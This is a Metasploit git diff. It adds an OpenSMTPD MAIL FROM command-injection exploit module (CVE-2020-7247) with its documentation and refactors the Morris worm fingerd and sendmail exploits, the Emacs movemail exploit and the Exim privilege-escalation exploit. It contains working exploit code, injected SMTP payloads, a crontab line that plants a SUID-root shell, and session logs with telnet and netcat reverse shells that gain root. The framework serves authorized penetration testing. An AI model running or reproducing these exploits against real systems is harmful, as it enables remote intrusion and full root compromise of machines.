diff --git a/documentation/modules/exploit/bsd/finger/morris_fingerd_bof.md b/documentation/modules/exploit/bsd/finger/morris_fingerd_bof.md index 80babf2bdb..862ea4b410 100644 --- a/documentation/modules/exploit/bsd/finger/morris_fingerd_bof.md +++ b/documentation/modules/exploit/bsd/finger/morris_fingerd_bof.md @@ -1,10 +1,13 @@ -## Introduction +## Vulnerable Application + +### Description This module exploits a stack buffer overflow in `fingerd` on 4.3BSD. + This vulnerability was exploited by the Morris worm in 1988-11-02. Cliff Stoll reports on the worm in the epilogue of *The Cuckoo's Egg*. -## Setup +### Setup A Docker environment for 4.3BSD on VAX is available at . @@ -14,7 +17,7 @@ For manual setup, please follow the Computer History Wiki's Garvin's [guide](http://plover.net/~agarvin/4.3bsd-on-simh.html) if you're using [Quasijarus](http://gunkies.org/wiki/4.3_BSD_Quasijarus). -## Targets +### Targets ``` Id Name @@ -22,6 +25,10 @@ Id Name 0 @(#)fingerd.c 5.1 (Berkeley) 6/6/85 ``` +## Verification Steps + +Follow [Setup](#setup) and [Scenarios](#scenarios). + ## Options **RPORT** @@ -31,46 +38,43 @@ port may be forwarded when NAT (SLiRP) is used in SIMH. **PAYLOAD** -Set this to a BSD VAX payload. Currently only +Set this to a BSD VAX payload. Currently, only `bsd/vax/shell_reverse_tcp` is supported. -## Usage +## Scenarios + +### `fingerd` 5.1 on 4.3BSD ``` -msf5 exploit(bsd/finger/morris_fingerd_bof) > options +msf5 > use exploit/bsd/finger/morris_fingerd_bof +msf5 exploit(bsd/finger/morris_fingerd_bof) > show missing Module options (exploit/bsd/finger/morris_fingerd_bof): Name Current Setting Required Description ---- --------------- -------- ----------- - RHOSTS 127.0.0.1 yes The target address range or CIDR identifier - RPORT 79 yes The target port (TCP) + RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' Payload options (bsd/vax/shell_reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- - LHOST 192.168.1.2 yes The listen address (an interface may be specified) - LPORT 4444 yes The listen port - - -Exploit target: - - Id Name - -- ---- - 0 @(#)fingerd.c 5.1 (Berkeley) 6/6/85 - + LHOST yes The listen address (an interface may be specified) +msf5 exploit(bsd/finger/morris_fingerd_bof) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf5 exploit(bsd/finger/morris_fingerd_bof) > set lhost 192.168.56.1 +lhost => 192.168.56.1 msf5 exploit(bsd/finger/morris_fingerd_bof) > run -[*] Started reverse TCP handler on 192.168.1.2:4444 +[*] Started reverse TCP handler on 192.168.56.1:4444 [*] 127.0.0.1:79 - Connecting to fingerd [*] 127.0.0.1:79 - Sending 533-byte buffer -[*] Command shell session 1 opened (192.168.1.2:4444 -> 192.168.1.2:51992) at 2018-09-25 10:14:15 -0500 +[*] Command shell session 1 opened (192.168.56.1:4444 -> 192.168.56.1:58015) at 2020-02-06 15:45:33 -0600 -whoami -nobody +who am i +nobody tty?? Feb 6 13:45 cat /etc/motd 4.3 BSD UNIX #1: Fri Jun 6 19:55:29 PDT 1986 diff --git a/documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md b/documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md index 7341cce153..6a84a2c0dc 100644 --- a/documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md +++ b/documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md @@ -2,7 +2,7 @@ Exim 4.87 - 4.91 Local Privilege Escalation -This module exploits a flaw found in Exim versions 4.87 to 4.91 (inclusive). Improper validation of recipient address in deliver_message() function in /src/deliver.c may lead to command execution with root privileges (CVE-2019-10149). +This module exploits a flaw found in Exim versions 4.87 to 4.91 (inclusive). Improper validation of recipient address in deliver_message() function in /src/deliver.c may lead to command execution with root privileges (CVE-2019-10149). Both meterpreter shell and classic shell are supported. The exploit will upload the specified `payload`, set the suid bit, and execute it to create a new root session. In order for the new session to be a root one, both `PrependSetuid` and `PrependSetgid` must be set to true (which is the default configuration for the exploit), and the `WritableDir` must be mounted without `nosuid`. @@ -37,10 +37,10 @@ The port that exim is listening to. On most cases it will be port 25 (which is t ## ForceExploit Force exploit even if the current session is root. - -## SendExpectTimeout -Timeout per send/expect when communicating with exim. +## ExpectTimeout + +Timeout for Expect when communicating with exim. ## WritableDir @@ -54,9 +54,9 @@ A directory where we can write files (default is /tmp). ``` meterpreter > getuid Server username: uid=1000, gid=1000, euid=1000, egid=1000 -meterpreter > -Background session 1? [y/N] -msf5 exploit(multi/handler) > use exploit/linux/local/exim4_deliver_message_priv_esc +meterpreter > +Background session 1? [y/N] +msf5 exploit(multi/handler) > use exploit/linux/local/exim4_deliver_message_priv_esc msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > set session 1 session => 1 msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > set lhost 192.168.0.50 @@ -71,7 +71,7 @@ msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > check [*] The target appears to be vulnerable. msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > exploit -[*] Started reverse TCP handler on 192.168.0.50:13371 +[*] Started reverse TCP handler on 192.168.0.50:13371 [*] Payload sent, wait a few seconds... [*] Sending stage (985320 bytes) to 192.168.0.80 [*] Meterpreter session 2 opened (192.168.0.50:13371 -> 192.168.0.80:45562) at 2019-07-07 23:46:37 +0100 diff --git a/documentation/modules/exploit/unix/local/emacs_movemail.md b/documentation/modules/exploit/unix/local/emacs_movemail.md index 1efaa28358..d8d4d74a6e 100644 --- a/documentation/modules/exploit/unix/local/emacs_movemail.md +++ b/documentation/modules/exploit/unix/local/emacs_movemail.md @@ -1,10 +1,13 @@ -## Introduction +## Vulnerable Application + +### Description This module exploits a SUID installation of the Emacs `movemail` utility to run a command as root by writing to 4.3BSD's `/usr/lib/crontab.local`. + The vulnerability is documented in Cliff Stoll's book *The Cuckoo's Egg*. -## Setup +### Setup A Docker environment for 4.3BSD on VAX is available at . @@ -14,7 +17,7 @@ For manual setup, please follow the Computer History Wiki's Garvin's [guide](http://plover.net/~agarvin/4.3bsd-on-simh.html) if you're using [Quasijarus](http://gunkies.org/wiki/4.3_BSD_Quasijarus). -## Targets +### Targets ``` Id Name @@ -22,6 +25,10 @@ Id Name 0 /usr/lib/crontab.local ``` +## Verification Steps + +Follow [Setup](#setup) and [Scenarios](#scenarios). + ## Options **MOVEMAIL** @@ -34,15 +41,34 @@ If your payload is `cmd/unix/generic` (suggested default), set this to the command you want to run as root. The provided default will create a SUID-root shell at `/tmp/sh`. -## Usage +## Scenarios + +### 4.3BSD ``` +msf5 > use exploit/unix/local/emacs_movemail +msf5 exploit(unix/local/emacs_movemail) > show missing + +Module options (exploit/unix/local/emacs_movemail): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SESSION yes The session to run this module on. + + +Payload options (cmd/unix/generic): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + +msf5 exploit(unix/local/emacs_movemail) > set session -1 +session => -1 msf5 exploit(unix/local/emacs_movemail) > run [*] Setting a sane $PATH: /bin:/usr/bin:/usr/ucb:/etc -[*] Current shell is /bin/sh +[-] Current shell is unknown [*] $PATH is /bin:/usr/bin:/usr/ucb:/etc -[+] SUID-root [redacted] found +[+] SUID-root /etc/movemail found [*] Preparing crontab with payload * * * * * root cp /bin/sh /tmp && chmod u+s /tmp/sh * * * * * root rm -f /usr/lib/crontab.local @@ -50,12 +76,5 @@ msf5 exploit(unix/local/emacs_movemail) > run [+] Writing crontab to /usr/lib/crontab.local [!] Please wait at least one minute for effect [*] Exploit completed, but no session was created. -msf5 exploit(unix/local/emacs_movemail) > sessions -1 -[*] Starting interaction with 1... - -ls -l /usr/lib/crontab.local /tmp/sh -/usr/lib/crontab.local not found --rwsr-xr-x 1 root 23552 Nov 22 15:17 /tmp/sh -/tmp/sh -c whoami -root +msf5 exploit(unix/local/emacs_movemail) > ``` diff --git a/documentation/modules/exploit/unix/smtp/morris_sendmail_debug.md b/documentation/modules/exploit/unix/smtp/morris_sendmail_debug.md index 8546e2ec7a..32e7b13b1d 100644 --- a/documentation/modules/exploit/unix/smtp/morris_sendmail_debug.md +++ b/documentation/modules/exploit/unix/smtp/morris_sendmail_debug.md @@ -1,4 +1,6 @@ -## Introduction +## Vulnerable Application + +### Description This module exploits `sendmail`'s well-known historical debug mode to escape to a shell and execute commands in the SMTP `RCPT TO` command. @@ -6,7 +8,7 @@ escape to a shell and execute commands in the SMTP `RCPT TO` command. This vulnerability was exploited by the Morris worm in 1988-11-02. Cliff Stoll reports on the worm in the epilogue of *The Cuckoo's Egg*. -## Setup +### Setup A Docker environment for 4.3BSD on VAX is available at . @@ -16,7 +18,7 @@ For manual setup, please follow the Computer History Wiki's Garvin's [guide](http://plover.net/~agarvin/4.3bsd-on-simh.html) if you're using [Quasijarus](http://gunkies.org/wiki/4.3_BSD_Quasijarus). -## Targets +### Targets ``` Id Name @@ -24,6 +26,10 @@ Id Name 0 @(#)version.c 5.51 (Berkeley) 5/2/86 ``` +## Verification Steps + +Follow [Setup](#setup) and [Scenarios](#scenarios). + ## Options **RPORT** @@ -33,62 +39,66 @@ port may be forwarded when NAT (SLiRP) is used in SIMH. **PAYLOAD** -Set this to a Unix command payload. Currently only `cmd/unix/reverse` +Set this to a Unix command payload. Currently, only `cmd/unix/reverse` and `cmd/unix/generic` are supported. -## Usage +## Scenarios + +### `sendmail` 5.51 on 4.3BSD ``` -msf5 exploit(unix/smtp/morris_sendmail_debug) > options +msf5 > use exploit/unix/smtp/morris_sendmail_debug +msf5 exploit(unix/smtp/morris_sendmail_debug) > show missing Module options (exploit/unix/smtp/morris_sendmail_debug): Name Current Setting Required Description ---- --------------- -------- ----------- - RHOSTS 127.0.0.1 yes The target address range or CIDR identifier - RPORT 25 yes The target port (TCP) + RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' Payload options (cmd/unix/reverse): Name Current Setting Required Description ---- --------------- -------- ----------- - LHOST 192.168.1.5 yes The listen address (an interface may be specified) - LPORT 4444 yes The listen port - - -Exploit target: - - Id Name - -- ---- - 0 @(#)version.c 5.51 (Berkeley) 5/2/86 - + LHOST yes The listen address (an interface may be specified) +msf5 exploit(unix/smtp/morris_sendmail_debug) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf5 exploit(unix/smtp/morris_sendmail_debug) > set lhost 192.168.56.1 +lhost => 192.168.56.1 msf5 exploit(unix/smtp/morris_sendmail_debug) > run -[*] Started reverse TCP double handler on 192.168.1.5:4444 +[*] Started reverse TCP double handler on 192.168.56.1:4444 [*] 127.0.0.1:25 - Connecting to sendmail [*] 127.0.0.1:25 - Enabling debug mode and sending exploit +[*] 127.0.0.1:25 - Expecting: /220.*Sendmail/ [*] 127.0.0.1:25 - Sending: DEBUG -[*] 127.0.0.1:25 - Sending: MAIL FROM: +[*] 127.0.0.1:25 - Expecting: /200 Debug set/ +[*] 127.0.0.1:25 - Sending: MAIL FROM:<3V900gQTSR70m6QPRYJnf3eoUIe6> +[*] 127.0.0.1:25 - Expecting: /250.*Sender ok/ [*] 127.0.0.1:25 - Sending: RCPT TO:<"| sed '1,/^$/d' | sh; exit 0"> +[*] 127.0.0.1:25 - Expecting: /250.*Recipient ok/ [*] 127.0.0.1:25 - Sending: DATA +[*] 127.0.0.1:25 - Expecting: /354 Enter mail.*itself/ [*] 127.0.0.1:25 - Sending: PATH=/bin:/usr/bin:/usr/ucb:/etc [*] 127.0.0.1:25 - Sending: export PATH -[*] 127.0.0.1:25 - Sending: sh -c '(sleep 4197|telnet 192.168.1.5 4444|while : ; do sh && break; done 2>&1|telnet 192.168.1.5 4444 >/dev/null 2>&1 &)' +[*] 127.0.0.1:25 - Sending: sh -c '(sleep 3935|telnet 192.168.56.1 4444|while : ; do sh && break; done 2>&1|telnet 192.168.56.1 4444 >/dev/null 2>&1 &)' [*] 127.0.0.1:25 - Sending: . +[*] 127.0.0.1:25 - Expecting: /250 Ok/ [*] 127.0.0.1:25 - Sending: QUIT +[*] 127.0.0.1:25 - Expecting: /221.*closing connection/ [*] Accepted the first client connection... [*] Accepted the second client connection... -[*] Command: echo zqhqKJD7trW0E0Lp; +[*] Command: echo ISj759F8jEik4HAW; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... -[*] Reading from socket B -[*] B: "zqhqKJD7trW0E0Lp\r\n" +[*] Reading from socket A +[*] A: "sh: Connected: not found\r\nsh: Escape: not found\r\n" [*] Matching... -[*] A is input... -[*] Command shell session 1 opened (192.168.1.5:4444 -> 192.168.1.5:64337) at 2018-10-20 14:08:03 -0500 +[*] B is input... +[*] Command shell session 1 opened (192.168.56.1:4444 -> 192.168.56.1:58037) at 2020-02-06 15:51:28 -0600 [!] 127.0.0.1:25 - Do NOT type `exit', or else you may lose further shells! [!] 127.0.0.1:25 - Hit ^C to abort the session instead, please and thank you diff --git a/documentation/modules/exploit/unix/smtp/opensmtpd_mail_from_rce.md b/documentation/modules/exploit/unix/smtp/opensmtpd_mail_from_rce.md new file mode 100644 index 0000000000..120426979a --- /dev/null +++ b/documentation/modules/exploit/unix/smtp/opensmtpd_mail_from_rce.md @@ -0,0 +1,116 @@ +## Vulnerable Application + +### Description + +This module exploits a command injection in the `MAIL FROM` field during +SMTP interaction with OpenSMTPD to execute code as the root user. + +### Setup + +1. Download [OpenBSD 6.6](https://cdn.openbsd.org/pub/OpenBSD/6.6/amd64/install66.iso) +2. Install the system, noting the domain name (defaults to + `foo.my.domain`) +3. Configure the following settings in `/etc/mail/smtpd.conf`: + * `listen on all` + * `match from any for domain "foo.my.domain" action "local_mail"` +4. Execute `/etc/rc.d/smtpd restart` to restart OpenSMTPD +5. Execute `ifconfig` and look for an appropriate target IP + +### Targets + +``` +Id Name +-- ---- +0 OpenSMTPD >= commit a8e222352f +``` + +## Verification Steps + +Follow [Setup](#setup) and [Scenarios](#scenarios). + +## Options + +**RCPT_TO** + +Set this to a valid mail recipient. The default is `root`. + +## Scenarios + +### OpenSMTPD 6.6.0 on OpenBSD 6.6 + +``` +msf5 > use exploit/unix/smtp/opensmtpd_mail_from_rce +msf5 exploit(unix/smtp/opensmtpd_mail_from_rce) > show missing + +Module options (exploit/unix/smtp/opensmtpd_mail_from_rce): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' + + +Payload options (cmd/unix/reverse_netcat): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST yes The listen address (an interface may be specified) + +msf5 exploit(unix/smtp/opensmtpd_mail_from_rce) > set rhosts 192.168.56.133 +rhosts => 192.168.56.133 +msf5 exploit(unix/smtp/opensmtpd_mail_from_rce) > set lhost 192.168.56.1 +lhost => 192.168.56.1 +msf5 exploit(unix/smtp/opensmtpd_mail_from_rce) > run + +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] 192.168.56.133:25 - Connecting to OpenSMTPD +[*] 192.168.56.133:25 - Saying hello and sending exploit +[*] 192.168.56.133:25 - Expecting: /220.*OpenSMTPD/ +[+] 192.168.56.133:25 - Received: 220 foo.my.domain ESMTP OpenSMTPD +[*] 192.168.56.133:25 - Sending: HELO oKFMWnrTJZjTbzkGfVMsyDy7pO35ze +[*] 192.168.56.133:25 - Expecting: /250.*pleased to meet you/ +[+] 192.168.56.133:25 - Received: +250 foo.my.domain Hello oKFMWnrTJZjTbzkGfVMsyDy7pO35ze [192.168.56.1], pleased to meet you +[*] 192.168.56.133:25 - Sending: MAIL FROM:<;for J in V e E n U T w v A K M a 0 s x;do read;done;sh;exit 0;> +[*] 192.168.56.133:25 - Expecting: /250.*Ok/ +[+] 192.168.56.133:25 - Received: +250 2.0.0 Ok +[*] 192.168.56.133:25 - Sending: RCPT TO: +[*] 192.168.56.133:25 - Expecting: /250.*Recipient ok/ +[+] 192.168.56.133:25 - Received: +250 2.1.5 Destination address valid: Recipient ok +[*] 192.168.56.133:25 - Sending: DATA +[*] 192.168.56.133:25 - Expecting: /354 Enter mail.*itself/ +[+] 192.168.56.133:25 - Received: +354 Enter mail, end with "." on a line by itself +[*] 192.168.56.133:25 - Sending: +# +# +# +# +# +# +# +# +# +# +# +# +# +# +# +mkfifo /tmp/eizzy; nc 192.168.56.1 4444 0/tmp/eizzy 2>&1; rm /tmp/eizzy +[*] 192.168.56.133:25 - Sending: . +[*] 192.168.56.133:25 - Expecting: /250.*Message accepted for delivery/ +[+] 192.168.56.133:25 - Received: +250 2.0.0 ccd8e419 Message accepted for delivery +[*] 192.168.56.133:25 - Sending: QUIT +[*] 192.168.56.133:25 - Expecting: /221.*Bye/ +[+] 192.168.56.133:25 - Received: +221 2.0.0 Bye +[*] Command shell session 1 opened (192.168.56.1:4444 -> 192.168.56.133:16126) at 2020-02-05 16:16:59 -0600 + +id +uid=0(root) gid=0(wheel) groups=0(wheel) +uname -a +OpenBSD foo.my.domain 6.6 GENERIC#353 amd64 +``` diff --git a/lib/msf/core/exploit/expect.rb b/lib/msf/core/exploit/expect.rb new file mode 100644 index 0000000000..a367a53ed8 --- /dev/null +++ b/lib/msf/core/exploit/expect.rb @@ -0,0 +1,41 @@ +# -*- coding: binary -*- + +# +# XXX: This is a VERY ROUGH mixin for Expect-style interaction +# + +require 'expect' + +module Msf::Exploit::Expect + + # Send a line and expect a pattern + # + # @param line [String] Line to send + # @param pattern [Regexp] Pattern to expect + # @param sock [Socket] Socket to send/expect on + # @param timeout [Float] Seconds to expect pattern + # @param newline [String] Newline character(s) + # @return [void] + def send_expect(line, pattern, sock:, timeout: 3.5, newline: "\n") + unless sock.respond_to?(:put) && sock.respond_to?(:expect) + raise ArgumentError, 'sock does not appear to be a socket' + end + + if line + print_status("Sending: #{line}") + sock.put("#{line}#{newline}") + end + + return unless pattern + + print_status("Expecting: #{pattern.inspect}") + sock.expect(pattern, timeout) do |res| + unless res + raise Timeout::Error, "Pattern not found: #{pattern.inspect}" + end + + vprint_good("Received: #{res.first}") + end + end + +end diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index 7a6bfffab7..ce0061000c 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -8,6 +8,7 @@ require 'msf/core/exploit/check_module' require 'msf/core/exploit/brute' require 'msf/core/exploit/brutetargets' require 'msf/core/exploit/browser_autopwn' +require 'msf/core/exploit/expect' # Payload require 'msf/core/exploit/egghunter' diff --git a/modules/exploits/bsd/finger/morris_fingerd_bof.rb b/modules/exploits/bsd/finger/morris_fingerd_bof.rb index 2ce4b1b71e..0db4564530 100644 --- a/modules/exploits/bsd/finger/morris_fingerd_bof.rb +++ b/modules/exploits/bsd/finger/morris_fingerd_bof.rb @@ -17,8 +17,11 @@ class MetasploitModule < Msf::Exploit::Remote 'Name' => 'Morris Worm fingerd Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in fingerd on 4.3BSD. + This vulnerability was exploited by the Morris worm in 1988-11-02. Cliff Stoll reports on the worm in the epilogue of The Cuckoo's Egg. + + Currently, only bsd/vax/shell_reverse_tcp is supported. }, 'Author' => [ 'Robert Tappan Morris', # Discovery? Exploit and worm for sure @@ -83,8 +86,10 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit - unless check == CheckCode::Detected || datastore['ForceExploit'] - fail_with(Failure::NotVulnerable, 'Set ForceExploit to override') + unless datastore['ForceExploit'] + unless check == CheckCode::Detected + fail_with(Failure::NotVulnerable, 'Set ForceExploit to override') + end end # Start by generating our custom VAX shellcode diff --git a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb index eb43ec53da..521d15c7e2 100644 --- a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb +++ b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'expect' - class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking @@ -63,7 +61,7 @@ class MetasploitModule < Msf::Exploit::Local register_advanced_options( [ OptBool.new('ForceExploit', [ false, 'Force exploit even if the current session is root', false ]), - OptFloat.new('SendExpectTimeout', [ true, 'Timeout per send/expect when communicating with exim', 3.5 ]), + OptFloat.new('ExpectTimeout', [ true, 'Timeout for Expect when communicating with exim', 3.5 ]), OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ]) end @@ -108,25 +106,24 @@ class MetasploitModule < Msf::Exploit::Local begin tcp_conversation.each do |line, pattern| - Timeout.timeout(datastore['SendExpectTimeout']) do - if line - if line == 'Received:' - for i in (1..31) - socket.puts("#{line} #{i}\n") - end - else - socket.puts("#{line}\n") + if line + if line == 'Received:' + for i in (1..31) + socket.puts("#{line} #{i}\n") end + else + socket.puts("#{line}\n") end - if pattern - socket.expect(pattern) - end + end + + next unless pattern + + unless socket.expect(pattern, datastore['ExpectTimeout']) + fail_with(Failure::TimeoutExpired, "Pattern not found: #{pattern.inspect}") end end rescue Rex::ConnectionError => e fail_with(Failure::Unreachable, e.message) - rescue Timeout::Error - fail_with(Failure::TimeoutExpired, 'SendExpectTimeout maxed out') ensure socket.puts("QUIT\n") socket.close diff --git a/modules/exploits/unix/local/emacs_movemail.rb b/modules/exploits/unix/local/emacs_movemail.rb index fe22f00a41..3045e77d81 100644 --- a/modules/exploits/unix/local/emacs_movemail.rb +++ b/modules/exploits/unix/local/emacs_movemail.rb @@ -15,6 +15,7 @@ class MetasploitModule < Msf::Exploit::Local 'Description' => %q{ This module exploits a SUID installation of the Emacs movemail utility to run a command as root by writing to 4.3BSD's /usr/lib/crontab.local. + The vulnerability is documented in Cliff Stoll's book The Cuckoo's Egg. }, 'Author' => [ @@ -133,8 +134,10 @@ class MetasploitModule < Msf::Exploit::Local return cmd_exec(payload.encoded) end - unless check == CheckCode::Appears || datastore['ForceExploit'] - fail_with(Failure::NotVulnerable, 'Set ForceExploit to override') + unless datastore['ForceExploit'] + unless check == CheckCode::Appears + fail_with(Failure::NotVulnerable, 'Set ForceExploit to override') + end end # outdesc = open (outname, O_WRONLY | O_CREAT | O_EXCL, 0666); diff --git a/modules/exploits/unix/smtp/morris_sendmail_debug.rb b/modules/exploits/unix/smtp/morris_sendmail_debug.rb index f525939450..3b52055a09 100644 --- a/modules/exploits/unix/smtp/morris_sendmail_debug.rb +++ b/modules/exploits/unix/smtp/morris_sendmail_debug.rb @@ -3,14 +3,13 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'expect' - class MetasploitModule < Msf::Exploit::Remote # cmd/unix/reverse spams the session with Telnet codes on EOF Rank = AverageRanking include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Expect def initialize(info = {}) super(update_info(info, @@ -22,7 +21,7 @@ class MetasploitModule < Msf::Exploit::Remote This vulnerability was exploited by the Morris worm in 1988-11-02. Cliff Stoll reports on the worm in the epilogue of The Cuckoo's Egg. - Currently only cmd/unix/reverse and cmd/unix/generic are supported. + Currently, only cmd/unix/reverse and cmd/unix/generic are supported. }, 'Author' => [ 'Robert Tappan Morris', # Exploit and worm for sure @@ -52,8 +51,8 @@ class MetasploitModule < Msf::Exploit::Remote register_options([Opt::RPORT(25)]) register_advanced_options([ - OptBool.new('ForceExploit', [false, 'Override check result', false]), - OptFloat.new('SendExpectTimeout', [true, 'Timeout per send/expect', 3.5]) + OptBool.new('ForceExploit', [false, 'Override check result', false]), + OptFloat.new('ExpectTimeout', [true, 'Timeout for Expect', 3.5]) ]) end @@ -87,14 +86,16 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit - unless check == CheckCode::Appears || datastore['ForceExploit'] - fail_with(Failure::NotVulnerable, 'Set ForceExploit to override') + unless datastore['ForceExploit'] + unless check == CheckCode::Appears + fail_with(Failure::NotVulnerable, 'Set ForceExploit to override') + end end # We don't care who the user is, so randomize it from = rand_text_alphanumeric(8..42) - # Strip mail header with sed(1), pass to sh(1), and ensure a clean exit + # Strip mail headers with sed(1), pass to sh(1), and ensure a clean exit to = %("| sed '1,/^$/d' | sh; exit 0") # We don't have $PATH, so set one @@ -105,8 +106,8 @@ class MetasploitModule < Msf::Exploit::Remote 'DEBUG' => /200 Debug set/, "MAIL FROM:<#{from}>" => /250.*Sender ok/, "RCPT TO:<#{to}>" => /250.*Recipient ok/, - 'DATA' => /354 Enter mail/, - # Indent PATH= so it's not interpreted as part of the mail header + 'DATA' => /354 Enter mail.*itself/, + # Indent PATH= so it's not interpreted as a mail header " PATH=#{path}" => nil, 'export PATH' => nil, payload.encoded => nil, @@ -119,24 +120,18 @@ class MetasploitModule < Msf::Exploit::Remote print_status('Enabling debug mode and sending exploit') sploit.each do |line, pattern| - Timeout.timeout(datastore['SendExpectTimeout']) do - if line - print_status("Sending: #{line}") - sock.put("#{line}\r\n") - end - if pattern - vprint_status("Expecting: #{pattern.inspect}") - sock.expect(pattern) do |pat| - return unless pat - vprint_good("Received: #{pat.first}") - end - end - end + send_expect( + line, + pattern, + sock: sock, + timeout: datastore['ExpectTimeout'], + newline: "\r\n" + ) end rescue Rex::ConnectionError => e fail_with(Failure::Unreachable, e.message) - rescue Timeout::Error - fail_with(Failure::TimeoutExpired, 'SendExpectTimeout maxed out') + rescue Timeout::Error => e + fail_with(Failure::TimeoutExpired, e.message) ensure disconnect end diff --git a/modules/exploits/unix/smtp/opensmtpd_mail_from_rce.rb b/modules/exploits/unix/smtp/opensmtpd_mail_from_rce.rb new file mode 100644 index 0000000000..d3b196b9fa --- /dev/null +++ b/modules/exploits/unix/smtp/opensmtpd_mail_from_rce.rb @@ -0,0 +1,128 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + + Rank = ExcellentRanking + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Expect + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'OpenSMTPD MAIL FROM Remote Code Execution', + 'Description' => %q{ + This module exploits a command injection in the MAIL FROM field during + SMTP interaction with OpenSMTPD to execute code as the root user. + }, + 'Author' => [ + 'Qualys', # Discovery and PoC + 'wvu', # Module + 'RageLtMan ' # Module + ], + 'References' => [ + ['CVE', '2020-7247'], + ['URL', 'https://www.openwall.com/lists/oss-security/2020/01/28/3'] + ], + 'DisclosureDate' => '2020-01-28', + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Privileged' => true, + 'Targets' => [ + ['OpenSMTPD >= commit a8e222352f', + 'MyBadChars' => "!\#$%&'*?`{|}~\r\n".chars + ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_netcat'} + )) + + register_options([ + Opt::RPORT(25), + OptString.new('RCPT_TO', [true, 'Valid mail recipient', 'root']) + ]) + + register_advanced_options([ + OptBool.new('ForceExploit', [false, 'Override check result', false]), + OptFloat.new('ExpectTimeout', [true, 'Timeout for Expect', 3.5]) + ]) + end + + def check + connect + res = sock.get_once + + return CheckCode::Unknown unless res + return CheckCode::Detected if res =~ /^220.*OpenSMTPD/ + + CheckCode::Safe + rescue EOFError, Rex::ConnectionError => e + vprint_error(e.message) + CheckCode::Unknown + ensure + disconnect + end + + def exploit + unless datastore['ForceExploit'] + unless check == CheckCode::Detected + fail_with(Failure::Unknown, 'Set ForceExploit to override') + end + end + + # We don't care who we are, so randomize it + me = rand_text_alphanumeric(8..42) + + # Send mail to this valid recipient + to = datastore['RCPT_TO'] + + # Comment "slide" courtesy of Qualys - brilliant! + iter = rand_text_alphanumeric(15).chars.join(' ') + from = ";for #{rand_text_alpha(1)} in #{iter};do read;done;sh;exit 0;" + + # This is just insurance, since the code was already written + if from.length > 64 + fail_with(Failure::BadConfig, 'MAIL FROM field is greater than 64 chars') + elsif (badchars = (from.chars & target['MyBadChars'])).any? + fail_with(Failure::BadConfig, "MAIL FROM field has badchars: #{badchars}") + end + + # Create the mail body with comment slide and payload + body = "\r\n" + "#\r\n" * 15 + payload.encoded + + sploit = { + nil => /220.*OpenSMTPD/, + "HELO #{me}" => /250.*pleased to meet you/, + "MAIL FROM:<#{from}>" => /250.*Ok/, + "RCPT TO:<#{to}>" => /250.*Recipient ok/, + 'DATA' => /354 Enter mail.*itself/, + body => nil, + '.' => /250.*Message accepted for delivery/, + 'QUIT' => /221.*Bye/ + } + + print_status('Connecting to OpenSMTPD') + connect + + print_status('Saying hello and sending exploit') + sploit.each do |line, pattern| + send_expect( + line, + pattern, + sock: sock, + timeout: datastore['ExpectTimeout'], + newline: "\r\n" + ) + end + rescue Rex::ConnectionError => e + fail_with(Failure::Unreachable, e.message) + rescue Timeout::Error => e + fail_with(Failure::TimeoutExpired, e.message) + ensure + disconnect + end + +end